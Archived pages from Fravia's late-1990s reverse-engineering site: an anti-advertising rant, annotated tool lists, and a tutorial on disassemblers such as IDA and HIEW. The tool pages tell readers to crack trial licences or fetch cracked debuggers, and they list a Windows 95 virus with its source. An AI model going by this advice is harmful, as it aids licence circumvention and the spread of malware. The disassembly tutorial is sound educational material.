searches. See http://www.bottomdollar.com/htmlbanner as an example of this. Just send us your rate card
information and we'll evaluate this against our other advertising alternatives.
2) We can create a customized "Power Shopper" for your site and pay you for its use. This would allow
your users to find the best prices on hardware, software, books, movies, toys, etc. without leaving your
site. For an example of how we can create integrated shopping agents, see http://cgw.gamespot.com (try
the Price Search on the bottom of the home page).
With option #2, you get a cool enhancement to your site that attract more users and you earn revenue for
its use. We get more searches executed because the shopping agent looks like a part of your site. See

http://www.instinct.org/fravia/kent_com.htm (1 of 2) [2/7/2001 3:03:29 PM]


kent_comm.htm How commercial trends are transforming the web from ...der of CONTENT into a nightmare of utterly useless banner clicking

http://www.bottomdollar.com/bdn.html for additional details.


If you have less than 100,000 page views per month, feel free to signup for option #2 at
http://www.bottomdollar.com/bdnsignup.html.
If you have more than 100,000 page views per month and would like to explore option #2 further, please
contact me and we will: 1) provide a revenue estimate based on your expected traffic 2) create a custom
prototype for your site
We look forward to establishing a profitable relationship with your site.
----------------------------
Kent Johnson E-Mail: kent@bottomdollar.com
Chief Technology Officer, Phone: 316-220-1861
WebCentric, Inc. ICQ: 9307582

OK, I'll tell you one thing Kent (or whoever else would care): as a matter of fact I will ACCEPT one (and
only one) of your (or anybody else) crap banners/simple agents if you (or whoever) will pay A LOT OF
MONEY (and I mean a lot) to the nice people at Webcaf that are hosting my fortress (I -fortunately-
don't need money at the moment and they surely deserve it for being grat DONORS, not ugly
SPONSORS). But watch it! Placed at the bottom of my index.htm page, your crap banner will be tabled
with the following exact wording:

The following crap advertisement is the only one that you'll be able to find on this site
(insert your ad here)
N.B.: The paid advertisement above is being published on this site only in order to deliver the sum of
(put exact sum here) dollars monthly to the nice guys at Webcaf that host my fortress

So Kent (or whoever), you don't like that? Well, bad luck: get lost... or if you are really a 'professional
advertiser', take this opportunity as it is... if you do you'll probably get nevertheless a lotta hits (not mine
for sure :-) and if you don't... somebody more shrewd than you probably will accept it in due time... see,
there is no bottom ethic for commercial oriented minds, and that's exactly the kind of thing that only
those that really don't care for money can merrily exploit :-)

homepage
Back to the main entrance

homepage links search_forms +ORC anonimity academy antismut CGI scripts


counter measures tools +HCU Academy javascript wars reality cracking
students' essays cocktails bots wars mail_fravia+
Is reverse engineering legal?

(c) Fravia, 1995, 1996, 1997, 1998. All rights reserved

http://www.instinct.org/fravia/kent_com.htm (2 of 2) [2/7/2001 3:03:29 PM]


tools.htm , THE tools page at fravia's!

fravia's little learning tools

Updated September 1999


I'm restructuring this, bear with the 404s

[official +HCU tools] ~ [useful tools] ~ [good 'tooling' pages] ~ [abandoned programs]

There is not a single cracked or pirated copy of software on this or


any other page of my site. There are not even links to pirated or
cracked copies. There is no need, since you will learn not only
how to understand, reverse and modify any software you fancy
but also how to find on the web everything you want (BTW, if
you do not know how to search the web, leave this cracking stuff
alone for a while, go learn "searching" and come back only when
you are done
You'll therefore find here only shareware (uncracked) or our own programs, or programs so old and obsolete that
nobody cares for them (but us).
OK, now listen carefully: the main tools you need to reverse engineer like a glove any software application that
crosses your path are mainly the following ones:

Official +HCU tool


1) Softice THE debugger! Fetch it already cracked from everywhere (but my site), or get it ftpmailed in one of its
complete versions, or download a trial (or complete) version from numega's own site (search the ftp) and crack
the time limit of its trial versions using +HCU's project2, or either buy it: it's an INCREDIBLY good tool, it
deserves to be paid for. Softice for DOS, Windoze95 and NT in its various versions is the OFFICIAL +HCU
debugger since 1997. Btw, there is NO NEED to have always the absolute last version of any program, even if
the last version 4 promises some inetersting web-debugging possibilities, you'll still go quite a long way with
good old (and stable) sice 3.25!
Hope it's not necessary to recall you that you can make MACROs with Softice, here a nice couple by Incubus++:

macro PARAMS = "dd ss:esp+4" and then bpx GetDlgItemTextA DO "PARAMS"

http://www.instinct.org/fravia/tools.htm (1 of 6) [2/7/2001 3:03:43 PM]


tools.htm , THE tools page at fravia's!

or else
macro GETTEXT = "db (ss:esp+4)->8" and then bpx GetDlgItemTextA DO "GETTEXT"

Official +HCU tool


2) BRW, Borland resource Workshop version 4.5, fetch it from the web, get it from a "real" programmer or buy
it, as you like. (Well, you won't need to buy it... a lot of magazine's cover CD have carried for next to free the
COMPLETE copy of Borland C++ version 4.5 -see my blackboard- and you'll get this phantastic tool there!).
BRW beats SRS and beats WRE (the resource editors of the concurrence) and therefore is the OFFICIAL +HCU
resource editor 1997.

~
Official +HCU tool

Ilfak Guilfanov
3) IDA (Interactive disassembler, by Wizard Ilfak Guilfanov) version 3.7 is THE tool you need to work. Quine's
essays have underlined its incredible performance capacities. This IS the OFFICIAL +HCU disassembler 1997.
Crack the demo version using Quine's essays, fetch a regged version from the web or buy a copy of it, Guilfanov
deserves it, he's a great programmer!

Official +HCU tool


4) Wdasm (version 8.9), fetch a demo versions from the web and crack it using the students' essays that you'll
find it inside +HCU's Project 0, or fetch a real complete version from the web, or buy it (it's a good tool, it
deserves it :-)
Hope it is not necessary to recall you that wdasm (8.9) is also a good debugger, not only a disassembler...
If you use it as a debugger (as you should at times :-) just load the process, then use the "goto code location"
option in the MAIN top window to go to the part of code you want to breakpoint into, then use F2 to breakpoint
there (see the yellow box), then, in the smaller "right" debugging window, DO NOT FORGET to checkmark the
first four boxes:

Enable Documented API Details (default)


Eable Undocumented API Details
Enable Local Function Details (VERY IMPORTANT!)
Stop Auto on API

And now you'r set for some wonderful debugging sections with wdasm. Watch the "left" debugging window and

http://www.instinct.org/fravia/tools.htm (2 of 6) [2/7/2001 3:03:43 PM]


tools.htm , THE tools page at fravia's!

the API calls while you just "step over" on the 'right' debugging window... and you'll see!

5) An Hexeditor, we use mostly PSEDIT (DOS, powerful) or Hexworkshop (Windoze), you'll find hexeditors
everywhere and you'll crack all sorts of hexeditors reading +HCU's Project 1.
Many crackers find hiew_565.zip a very useful hexeditor.

6) Filemon & Regmon & Vxdmon... shareware (with source code!). You'll find them for download on my own
site too, see below. Once you use and understand the utility of filemon you may also want to check my essay
about filemon reverse engineering" too!

7) A good wordprocessor (MS-Word 97 won't do for huge files, I use old powerful Wordperfect version 4.2
(DOS) or Ultraedit (Windoze)

8) A brain, see if you manage to find one somewhere


All other tools on this page may be very useful as well at times... download what you fancy and enjoy!

Forgotten realms
Hey! I almost forgot... actually when you'll have to perform real work "inside the dark codewoods" you could
need this Muster as well)

Tools to calculate inter alia in Hexadecimal


Hey! I almost forgot... actually when you'll have to perform real work "inside the dark codewoods" you better use
the BEST TOOL for our calculations: base calculator (ver 1.3) by John Zaitseff (GNU freeware!) as well
(zipped: 148.156 bytes)

Hey! I almost forgot... actually when you'll have to perform real work "inside the dark codewoods" you could
need this base converter as well (An Hexworkshop add-on: zipped: 58.717 bytes)

Tools to catch a window (or box) through its DIMENSIONS


Hey! I almost forgot... actually when you'll have to crack windows that have a predefinite width and height you
could need this ruler as well (zipped: 24.323 bytes)

Well, actually, even better... when you'll have to crack windows that have a predefinite width and height you
could use this winshow utility as well (zipped: 57.958 bytes), the original module has been ameliorated by
Frog's Print, porting it to hexvalues inter alia, and you'll find his version inside this zip as well

Tools to fish strings

http://www.instinct.org/fravia/tools.htm (3 of 6) [2/7/2001 3:03:43 PM]


tools.htm , THE tools page at fravia's!

Hey! I almost forgot... actually when you'll have to find and extract strings in unicode from your targets you
could need this peek utility as well (zipped: 24.323 bytes)

Other pretty good pages for "tooling"


Just a small choice... everything is on the web!

Some VERY good tools for stalking (inter alia) on the Basilisk's tools page
Some good tools for hexediting (among other things) on LordSomer's page
Couple of good tools for Windows95 Registry (thoroughly explained) on Michael's page
Tools for Virus programming (which is useful in order to learn Assembly) on Jwool's page
Very good tools on a very good page, at Mammon's
Very good tools on a very good page, at Stone's
Tools and icecreams (quite a lot) on Aesculapius' page
Tools and icecreams (quite a lot) on ACP's main page
One of the best sites that you'll find for tooling around is LordCaligo's main page

__Tools you'll find HERE on my page__


I know that some of the following links are down... Censorship and syn-attacks have broken some minor
"luggage" pages of mine... I'm repairing everything (albeit slowly)... but you'll be able to find the missing tools
elsewhere using these NAMES and performing an archie search or a ftp search

spray asm 5.623 the *TOOL* to dump memory... +ORC's recommended


stepdos zip 19.088 intercept the int_21... zipped with the stepdos.asm file!... +ORC's recommended
int13 asm 16.253 for those annoying disk accesses
sniff zip 9.699 I made this tool myself... a brute "sniffer" for "dead" files
memscan zip 9.492 the first "visual" cracker tool... +ORC's recommended
kgb zip 6.137 Horak's masterpiece for intercepting interrupts... zipped with the *.asm file!... +ORC's
recommended
map zip 23.959 Clockwork's MAP... complete with Nigel nagscreens... crack it with +ORC's lesson 3.2
psedit zip 67.308 Psedit version 4.4., by Gary Craider... +ORC's recommended
codebar zip41.103The key to the magic world of barcodes (see +ORC's lesson C.1)
joetools zip 90.702Tools & Files you need for Uncle Joe's Crackbook - UNP is also here
Resdump zip11.889Little utility newbyes'll need to crack windows programs (see my Taskman lessons)
exeutil.zip 191.939Little utility to find wich API functions calls an exe (or dll) you want to crack (exeutil

http://www.instinct.org/fravia/tools.htm (4 of 6) [2/7/2001 3:03:43 PM]


tools.htm , THE tools page at fravia's!

-imports tocrack.dll)
Hiew zip40.624 Learn how to use it... substitutes (and how!) DEBUG and SYMDEB*
Old PSP version 2.1430.046Ancient copy of Paint Shop Pro, useful for +ORC's lesson 9.2
ums1.zip125.493 A very old (uncracked) strategic game, see +ORC's lesson 3 in order to crack it yourself
Peek version 11 11.492 String extracting useful utility, gets Unicode strings inside windoze's targets too
hiew_565.zip 345.242 Hexeditor and more
watch.zip19.890Useful snooper utility by Mike Williams (Version 2)
symdeb.zip 40.624 Good old symdeb, what would we do without thee?
find.zip19.890the *BEST* string search utility for Windoze 95 and 3.1
strings.zip40.624A Dos string utility that cuts the mustard
winshow.zip57.958fish a window through its width and height (Frog's Print modified version included :-)
cust.zip1.459.190The Customizer! Modify any window parameter! Send your own API calls! Play with grayed
buttons! (Very easy Cinderella protection, ideal crack for newbies)
ucfpd114.zip63KA very powerful unpacker (not for beginners though)
isdcc.zip52KA powerful Installshield decompiler, by adq
grep.zip 4.620grep! The dos ported unix command! You learn to use this well (and you understand how these
4000 bytes works) and you'r almost a Perl/unix reverser buff! :-)

POWERFUL OLD AND/OR FREE STUFF


A complete c compiler: turboc version 1 by Borland
turboc.zip (594.717 bytes pkunzip with the -d option)

A complete disassembled disassembler for your jokes and pokes!


dsasmsrc.zip 103 KbSang Cho's [pure C] "code for decoding": a complete disassembler with source code? Yeah!
dsassm02.zip 66 KbSang Cho's win32program disassembler: a complete disassembler with source code? Yeah!

A complete exe to c (old and beta) renderer


exe_2_c.zip 217.923, an old experiment made in Jerusalem :-)

http://www.instinct.org/fravia/tools.htm (5 of 6) [2/7/2001 3:03:43 PM]


tools.htm , THE tools page at fravia's!

__Some special tools on other pages__


__Some OTHER powerful tools__

wcb.zip 103.496 Windows Code Back disassembler... +ORC's recommended


Bizatch1 zip 96.674 The first WINDOWS95 virus! (Courtesy of Vlad) With source code!
Bizatch1 zip 96.674 Another copy
ida35b.zip 1.300.000 V 35b Russki GOOD Interactive Disassembler, the one that works with DOS4GW
pooldemo.zip 200.122 Download it and crack it with +ORC's lesson 1
dmpexe12.zip 38.234 This solves the problem of the new exe-packers: interacts with softice
dongspy.zip 27.304 Donglespy: to start studying dongle_cracking in Windows 95 (BTW:it's "pipeta!")
trackmem.zip 30.234 As the name says (+ORC recommended)
gwbasic 60.436 A very old Microsoft basic interpreter (Version 3.2): what for? Who knows ;-)?
filedump.zip 2?514 As the name says (+ORC recommended)
ia.zip 300.453 This is a copy of the IABROWSE.EXE program you should have cracked for the 1996 +HCU
(see+ORC's lessons C1, C2 and C3), better than nothing, if you cannot find a complete CD-ROM with this
protection scheme (You'll find ia.ini in my orc.htm page).

winsight.zip 71.741 Good old winsight... what would we do without you? ivyspy.zip 2.752 little but very
powerful, I like it, shows the data of a given window hw32.zip 52.913 Show me my heaps! pview95.zip 22.711
You thought ps.exe was a good killer? stress.zip 52.234 Where's the stress? wspy.zip 51.536 Let's spy around
Mark Russinovich's register monitor! 102.536 Win95 OS is STUPID! have a look at what happens at your
monstruous register (deep inside windows 95) every time a program runs! (Can be pretty useful for our trade :-)
Tekfct95.zip! 516.442 Well, an INCREDIBLY useful tool for our trade! Don't forget to check the 'search' DLL
facilities! gnb.zip 115.549 Not a tool: a very old (poor AI, yet very good for two humans) napoleonic strategic
game! (needs quite some reverse engineering to find out its funny commands!) vxdmon.zip! 60.260 Well, virtual
drivers need checking too! Mark Russinovich's File system monitor! 94.324 Have a look at how many files are
accessed every time a (suspect) program runs! (a really useful tool for our trade :-)
I was so excited about this very good program that I completely reversed it, see my filemon serie essays!

useful tools
homepage links +ORC students' essays +HCU database anonymity counter measures
CGI antismut cocktails search_forms AntiMicro$oft mail_fravia
Is reverse engineering legal?

(c) Fravia 1995, 1996, 1997, 1998, 1999. All rights reserved

http://www.instinct.org/fravia/tools.htm (6 of 6) [2/7/2001 3:03:43 PM]


useful tools

fravia's useful tools

Courtesy of fravia's page of reverse engineering


Should you feel you have something to add, please contact me

There is not a single cracked or pirated copy of software on this page. You'll find here only shareware (uncracked) or our own
program... lex super regem.

Well, I decided to create this NEW page: "really useful tools", because I feel that newbyes and old hands alike need to
exchange opinions and experiences on this argument. I'll present here, and comment, the "main" tools that we currently use in
our endeavours. All the tools of the world are available on the web, regged and pirated, not regged and with serial, not regged
and uncracked, not regged and cracked, in beta version, in special trial version... you name it, you'll find it (provided you have
learned HOW to search the web), you may eventually have to crack some banal protection in order to use it as long as you
fancy.

Let's see what we need, what we have and what we should seek... You may enjoy reading my local copy of "Mammon_'s Tales
to his Grandson: Breathing Life into Dead Listings", where you'll be able to get "an introduction to a number of "dead-listing"
tools". It's only an old copy, of course: the real page can be have (with many other goodies) on Mammon_'s own VERY
GOOD site.

Anyway, here my "short" list of special tools... comments are welcome:

SWISS KNIFE ;download symdeb (25.265)


DEBUGGER ;fetch Softice
;or use Wdasm89 capabilities
;or fetch Micro$oft's iwindbg.exe (1.259.152 bytes)
DISASSEMBLER ;fetch IDA pro version 3.7
;fetch Wdasm32 version 8.9
RESOURCE WORKSHOP ;fetch Borland Resource Workshop version 4.5
HEX EDITOR ;fetch Hexworkshop or download psedit (64.264)
PROCESS VIEWER ;find and download MS pview95.zip: pview95 v. 4 (22.711)
HEAP WALKER ;find and download MS hewal331.zip: heapwalk v. 3.1 (96.074)
HEAP WATCHER ;find and download MS hewat115.zip: heapwatch 32 v. 1.15
(24.666)
PROCESS WALKER ;find and download procwalk.zip: process walker (35.567)
WINSPY UTILITY ;find and download Watcom's watspy11.zip: Spy 11 (141.786)
FILE MONITOR ;Mark Russinovich's filemon with source!
REGISTER MONITOR ;Mark Russinovich's regmon with source!
VXD MONITOR ;Mark Russinovich's vxdmon with source!
RULER ;download the ruler (26.169)
ASCII.HLP ;download ascii (3.995)
BASE CONVERTER ;download bconv (58.717)
OTHER UTILITIES ;go to my little learning tools page.
API LIST... ;you'll find API lists everywhere on the web, even at
Micro$oft's
...COMPILERS... ;lair, and in the help files of all recent compilers. Do not
forget

http://www.instinct.org/fravia/useful.htm (1 of 2) [2/7/2001 3:03:46 PM]


useful tools

...TOOLS... ;that PC reviews are nowadays so desperate to sell that they


carry
...AND OTHER... ;oft onto their "free" CD-roms WHOLE COMPILERS!. Here the most
recent
...GOODIES! ;"coups" that you could have made:
August 1997 THE COMPLETE
3.99 UK
and October PcPlus, n.130 (UK) Borland C++ version 4.5
Sterling
Incredible but true
1997 with BRW version 4.5!!
THE COMPLETE
3.99 UK
May 1997 PCPLus, n. 35b (UK) Borland Delphi version 1,
Sterling
Yessir!
with all API help files
THE COMPLETE IBM
visual Age C++ (with a
Compatibles PC Mag, banal "Cinderella" Wanna visualcode?
May 1996 Hors serie 20 (FR) protection scheme) *and*
29 FF
Wanna Java?
the COMPLETE Java
(Sun) Developer Kit 1.01

The above table is under construction... of course I cannot monitor all the thousand of reviews that are published every month
everywhere in every language (I wonder if somebody does monitor them :-)... please let me know IMMEDIATELY if something
valuable has been published somewhere!

little learning tools


homepage links +ORC students' essays +HCU database anonymity counter measures
CGI antismut cocktails search_forms AntiMicro$oft blackboard mail_fravia
Is reverse engineering legal?
fravia, December 1997

http://www.instinct.org/fravia/useful.htm (2 of 2) [2/7/2001 3:03:46 PM]


Fravia's copy of Mammon_'s Tales To His Grandson

fravia's useful tools

Related files
(It's only fravia's copy: the real page can be found (with many other goodies) on Mammon_'s own VERY GOOD site)

Mammon_'s Tales to his Grandson


Breathing Life into Dead Listings

Hed * Hiew * IDA * Sourcer * W32Dasm

In reverse engineering, there are two approaches for examining the target: "live" or active examination, in which a program is
run under the careful scrutiny of a) a debugger, b) a system monitor, or c) a capture utility that filters disk/file/memory
access, API calls, messages, etc; and "dead" or passive examination, in which a program is opened in a hex editor or
disassembler, with the end result being a .lst or .asm file containing a close approximation of the original aource code of the
program. Most passive utilities will produce an "assembly-language rendering" of the target, which then must be reviewed
and corrected by the engineer and finally--if at all--translated into C/C++, Visual Basic, Pascal, Fortran, Java, or whichever
language the target is presumed to have been written in. What follows is an introduction to a number of "dead-listing" tools
which, once learned by the engineer, will prove invaluable in retrieving an accurate assembly language rendering from the
target binary file.

HED
Synpopsis:HED v.1.78 is a 370K (installed) "hacking tool disquised as a hex editor", running in a non-resizeable DOS box.
Its features include tradtional hex/ASCII or disassembly mode, multiple-file editting, excellent search and replace
capabilities, macro recording, win32 API function name resolution,integral expresion calculator and ASCII table, branch
following, 10 bookmarks, and imports/exports/internal references tables. All in all, a pretty sophisticated hex editor at 193K
with a 176K imports.dat file.
Usage: General hex/text editor with Win32 import/export information.
Shortcuts
Esc Activate Menu Alt-O Open File
Alt-P Previous File Alt-N Next File
Alt-Q Close File Alt-X Exit Program
F2 Save File Alt-F2 Save As
F9 DOS Shell Alt-F9 Execute a program
Ctrl-F4 Calculator F11 ASCII Table
Ctrl-M Record Macro Alt-F Text Filter
Ctrl-Ins Copy to HED clipboard Shift-Ins Paste from HED clipboard
Ctrl-G Goto Offset Ctrl-B Goto Previous Position
Alt-Shift(0...9) Save Position (Bookmark) 0-9 Alt-[0...9) Goto Position (Bookmark) 0-9
F5 Find Number F6 Find Text String
F7 Find Hex Data Ctrl-F6 Find in ASM text
Ctrl-F8 Find reference Alt-F8 SuperFind & Replace

http://www.instinct.org/fravia/breathi.htm (1 of 9) [2/7/2001 3:03:53 PM]


Fravia's copy of Mammon_'s Tales To His Grandson

Shift-F7 Find Again Alt-V Toggle Hex/ASM view

Notes: HED is a freeware (or, rather, "emailware") hex editor written for OS/2 by Dimitris Kotsonis, and ported to Win32 by
Malakoudis S. Panagiotis. It is written in Visual C++ (GNU C for OS/2 version) and takes advantage of the Win32 DOS
console interface...the result being that the code of the .exe is interesting to scroll through, but the program itself can slow
down in certain functions. The "file open" dialog box, as it does not alphabetize the file names, is tedious to use in large
directories such as C:\WINDOWS...creating a PIF file that takes a filename parameter or simply drag'n'dropping the target on
the HED icon is recommended. HED will also open multiple files, so that typing C:\WINDOWS\*.* in the "file open" box
will open every file in the Windows directory...

HIEW
Synpopsis: HIEW v.5.66 is a 177K (installed) hex editor that runs in a DOS box and takes multiple files names as its startup
parameters. Features include MZ/PE file header parsing, multiple file editting, hex/ASCII/disassembly views, file search and
replace, saved jump table, reference calling, bookmarks, win32 API function name resolution, built-in 80386 assembler, and
cyrptographic/XOR functions. HIEW has three different viewing modes (Asm, Hex, and Text, or A, H, and T), from A and H
modes the user can enter the "Edit" mode (E). The PE file header summary is particularly effective, allowing the user to jump
to locations in the file (such as the .text or .rsrc directories) reference by the PE Header, its Directory Table, or its Object
Table.
Usage:General hex/text editor with PE file header and assembler capabilities.
Crypting Operations: The HIEW manual gives the followign explanation for its cryptographic funtions

Crypt operations are using for crypting/decrypting the code/data. Crypt


algorithm is very simple. Code/data will be crypted by the bytes/words (to
change the size ot the unit, press F2). Crypting routine must be terminated
with "LOOP numberLine" operator.

Available commands:
Reg mode : neg,mul,div
Reg-Reg mode: mov,xor,add,sub,rol,ror,xchg
Reg-Imm mode: mov,xor,add,sub,rol,ror
Imm mode : loop
All 8/16 bit registers are available, except AL/AX that will be filled with
(de)crypted byte/word.
The differences from standard assembler:
there are no jumps;
'loop' means 'jmp/stop'
the operands of 'rol/ror' commands must have the same size, i.e.
ROL AX,CL not allowed.
Example:
a. XOR byte with 0AAh:
1. XOR al,0aah
2. LOOP 1
b. XOR word with mask increment
1. MOV dx,0
2. XOR ax,dx
3. ADD dx,1
4. LOOP 2
Shortcuts
Enter Toggle View Mode Alt-H Help
F1 File Info F2 Wrap/Unwrap (T) Assemble (E)

http://www.instinct.org/fravia/breathi.htm (2 of 9) [2/7/2001 3:03:53 PM]


Fravia's copy of Mammon_'s Tales To His Grandson

F3 Edit (A,H) Undo (E) F4 Mode


Linefeed (T) Find reference on
F5 Goto (A,H) F6
current position (A)
F7 Search(A,H,T) Crypt (E) F8 Header (A,H) XLAT (T) XOR (E)
Open Files (A,H,T) Update File
F9 F10 Exit (A,H,T) Truncate File (E)
(E)
Alt-P Save screen to file Alt-R Reload file
Ctrl-F7 |
Ctrl-F3 Search and Replace Search Next
Ctrl-Enter
Ctrl-F8 Previous File Ctrl-F9 Next File
+ Bookmark Alt-(1...8) Goto Bookmark
Alt- - Clear current bookmark Alt-0 Clear all bookmarks
1...9 | A...Y Jump to target/save jump 0|Z Return from jump

IDA (Interactive DisAssembler)


Synpopsis: IDA v. 3.7 is a 15.9 MB interactive disassembler (hence its name), similar in a way to the old Bubble Chamber
disassembler: a file is loaded, disassembled by the program, then the user is given a chance to modify code and data
interpretations before saving the final output file. IDA takes this method to the extreme, modifying the code after the user
makes changes to re-interpret the program...basically saving the user a lot of work. Features include multiple file editting,
integral byte patcher (creates and .exe file for DOS files, or a .dif difference file for other formats), integral calculator,
extensive macro language, integral text editor/viewer, full navigational and code interpretation facilities.
Usage: IDA is different from other disassemblers in that the user is intended to modify the disassembled file "interactively"
with the program until an adequate approximation of the original source code is produced. Obtaining a full disassembled
listing therefore requires that the user take part in three distinct processes:
1. Giving IDA the correct loading information for the file at startup
2. Modifying code and data when misinterpreted by IDA
3. Commenting the disassembled file extensively
The first and the third processes are pretty simple: the "Load File Of New Format" window provides plenty of options for the
user to configure (be sure to set the DLL directory to c:\windows\system and not c:\windows; also uncheck "Rename DLLs"
and check "Load Resources" and "Make Imports Section"), and typing ":" allows the user to enter comments that stand out in
bright white (and therefore easily distinguishable from the brown IDA-generated comments).
The second process is the hardest, the most time consuming, and the one that requires the most technical knowledge. The
user can use the C command to change data into code, and the D to do the opposite--note that each of these commands will
cause changes throughout the file, for all relevant bytes beneath the changed line will be coverted to data or code as well.
This means basically that the user must have very intimate knowledge of the program itself and the structure of the file
format they are working on in order to get full use out of IDA.
Not all files require this much work to disassemble, however; with Windows files in particular, IDA does a good job on its
own and usually provides the user with a more than adequate disassembly that only needs a little commenting and data
modification. For cases like this, IDA provides excellent navigational commands (summarized in the Shortcuts section
below) as well as the ability to change the data representation on the current line to hexidecimal (Q), ASCII (R), octal, binary
(B), or decimal (H). The user can also rename (N) functions or variables defined by IDA, and can even patch the file from
within the IDA environment.
A more thorough examination of IDA Pro's functions, including FLIRT and IDC, can be found on this summation of the IDA
Pro web site.

http://www.instinct.org/fravia/breathi.htm (3 of 9) [2/7/2001 3:03:53 PM]


Fravia's copy of Mammon_'s Tales To His Grandson

Tutorial
This brief example will make use of Rundll32.exe, found in every Windows directory. This program is 8K and thus is the
perfect size for an introduction; its purpose is to manually load .DLL files into memory, as if they were executables. Run IDA
by loading IDAW.EXE, then select c:\windows\rundll32.exe for the target file. IDA Pro fill present you with a dialog box of
loading parameters:

Load as...
* Portable executable
_ MSDOS .exe
_Binary file

Loading segmemnt: 0x1000 (Exe & Bin) (paragraph where file will be loaded...only for
exe/bin)
Loading Offset: 0x0 (bin) (binary only...offset of first byte from start of first
segment)

* Create Segments (bin)


* Load Resources
_Rename DLL entries unchecked, makled repeatedable comments for entries imported by
ordinal...else renames 2nd occurence
_Manual Load (NE, LE, LX ...IDA will ask for loading addrersses/selectors for each
object in file)
_Fill Segment Gaps (NE)
* Make Imports Section (PE) (convert .idata section to extra directives)
_Don't align segments (OMF)
_IBM Object Table (OMF)
DLL directory: c:\windows\system
First thing : save the database by going to File->SaveDatabase (or pressing Ctrl-W); this will allow you to come back to your
work later simply by loading the .IDB file instead of an executable when IDA starts up.
Next, scroll through the code to get the lay of the land...this is a relatively small file. Note that at offset 0041416 there starts a
continuous sequence of add [eax], al repeating over and over. Toggling to hex mode via F4 or just examining the bytes
after the offset will show that this is just a continous block of 00's, terminating at 4015FE with the end of the .text
segment--meaning that these 00's are padding to fit the File Alignment "magic number"; the code segment therefore really
ends at offset 0041416.
IDA has produced one anamoly in this block of padding: at offset 00401464 it has generated the comment CODE XREF:
.text:004013F5^j, meaning that this address is referenced by a jump at 4013F5. Press ENTER while the cursor is over
the cross-reference "jump-to" address and IDA will switch to this line of code: jnz short near ptr
loc_401464+1. The location at 00401464 is always going to be zero, so the value 401464+1 would be simply 1, or the
first line of code..which happens to be a subroutine.
Okay, on to work. Just what does this program do? Go to the View menu and choose names; this will show the imports used
by the program and give you a brief overview: 28 names, all standard functions such as lstrcpyA, wsprintf, MessageBoxA,
and LoadIconA, plus library functions like LoadLibraryA, FreeLibrary, and GetProcAddress that one would expect due to the
nature of this program.
The .text section in this small program is only 416 lines...easy enough to track through manually using IDA:

Go to the program entry point by pressing Ctrl-E; you will start off at address
401028 which, as is standard for the start of a
program or function, will prepare a stack frame. From here you can create a
"skeleton" outline of the code by noting the "flow
of execution", taking down relevant jumps and calls and any imports from the Windows

http://www.instinct.org/fravia/breathi.htm (4 of 9) [2/7/2001 3:03:53 PM]


Fravia's copy of Mammon_'s Tales To His Grandson

API:

Start:
401028 Start of Program
40102F API: GetCommandLine, store pointer in esi
401075 API: GetStartupInfo, store STARTUPINFO structure in ebp+var_44
401090 API: GetModule Handle..either 0Ah or ebp+var_14 (address of mudule to return
handle for)
401097 Call 401322
40109F API: Exit process

Type G 401322 or double-click/press enter on the address 401322 in line 401097:

Main:
401334 API: SetErrorMode mask:8001h
401344 Call 4010AC
401352 Call 40124F (RegisterClassA_CreateWindowExA function)
401373 Call J_SHELL32_122
40137A Call 402010 (Bad Call: .data segment)
401380 Call 4012F8 (DestroyWindow_FreeLibrary)
40138S RET (end subroutine)

Using the same method, investigate each of the called subroutines:

Call from Main #1:


...to 4010AC... *****Function 4010AC*****
4010DD Call 401000 (CharNextA function, parameters 20h, esi)
4010EF Call 401000 (CharNextA function, parameters 2Fh, esi)
4010F8 Jcc 401101
4010FC JMP 40120B (RET)

...to 401000... *****Function 401000*****


40101A API: CharNextA
401025 RET

...to 401101...
401106 API: LoadLibrary
401113 Jcc 4011C7
40111A Call Kernel32_35
401128 Jcc 401182
40112C Call Kernel32_37
401139 Jcc 401161
401149 Call 40138D (LoadString_wsprintfA_MessageBox function)
401154 Call Kernel32_36
40115C JMP 40120B (RET)
...to 4011C7...
4011CE API: GetProcAddress
4011DB Jcc 40116B
4011F6 API: FreeLibrary
4011FE JMP 40120B (RET)
...to 401182...
401192 API: GetLastError
4011A0 API: FormatMessageA
4011BE Call 40138D (LoadString_wsprintfA_MessageBox function)

http://www.instinct.org/fravia/breathi.htm (5 of 9) [2/7/2001 3:03:53 PM]


Fravia's copy of Mammon_'s Tales To His Grandson

4011C5 JMP 40120B (RET)


...to 401161...
40116D Jcc 401200 (RET)
401177 API: lstrcpy
40117D JMP 401206 (RET)
...to 401208...
401211 RET

...to 40138D... *****Function 40138D*****


4013AB API: LoadStringA
4013C9 API: wsprintfA
4013E1 API: MessageBox
4013EA RET

Call From Main #2:


...to 401024F... *****Function 401024F*****
401277 API: Call LoadIconA
401286 API: Call LoadCursorA
401290 API: Call GetStockObject
4012A7 API: Call RegisterClassA
4012DF API: Call CreateWindowExA
4012F5 RET

Call From Main #3:


...to 4013EE... *****Function J_SHELL32_122*****
4013EE API: Shell32.122 (Unknown, poss ExtractAssociatedIconExW)

Call From Main #4:


...to 402010...
.data segment
402010 db 00 00 00 00

Call From Main #5:


...to 4012F8... *****Function 4012F8*****
4012FE API: DestroyWindow
401313 API: Kernel32.36 (unknown)
40131B API: FreeLibrary
401321 RET

Comparing the above abstract with the list of internal routines in View-> Functions shows that all 8 of Rundll32.exe's
routines have been accounted for. While this source code still has a few mysteries that could be cleaned up, its functionality
is relatively clear: this is simply a "loader" function that takes the name of a .DLL file as its startup parameter, then loads that
.DLL using the GetProcAddress/LoadLibrary combo that is used in many applications for loading their own .DLLs. Not very
mysterious at all...more like a patch than a utility.

Configuration
IDA, like Soft-Ice, has a configuration file (IDA.CFG) which the user can customize to suit his needs. Useful functions to
add keyboard commands for are ViewFile (F9), EditFile (Alt-F9), ViewFunctions (Alt-F), and ViewNames (Alt-N). In
addition to defining keyboard commands and #defining a lot of parameters, IDA.CFG contains analysis and display
parameters that can be configured as follows (or to taste):

http://www.instinct.org/fravia/breathi.htm (6 of 9) [2/7/2001 3:03:53 PM]


Fravia's copy of Mammon_'s Tales To His Grandson
//-------------------------------------------------------------------------
//
// Analysis parameters
//
//-------------------------------------------------------------------------

ENABLE_ANALYSIS = YES // Background analysis is enabled

SHOW_INDICATOR = YES // Show background analysis indicator

#define AF_FIXUP 0x0001 // Create offsets and segments using fixup info
#define AF_MARKCODE 0x0002 // Mark typical code sequences as code
#define AF_UNK 0x0004 // Delete instructions with no xrefs
#define AF_CODE 0x0008 // Trace execution flow
#define AF_PROC 0x0010 // Create functions if call is present
#define AF_USED 0x0020 // Analyse and create all xrefs
#define AF_FLIRT 0x0040 // Use flirt signatures
#define AF_PROCPTR 0x0080 // Create function if data xref data->code32 exists
#define AF_JFUNC 0x0100 // Rename jump functions as j_...
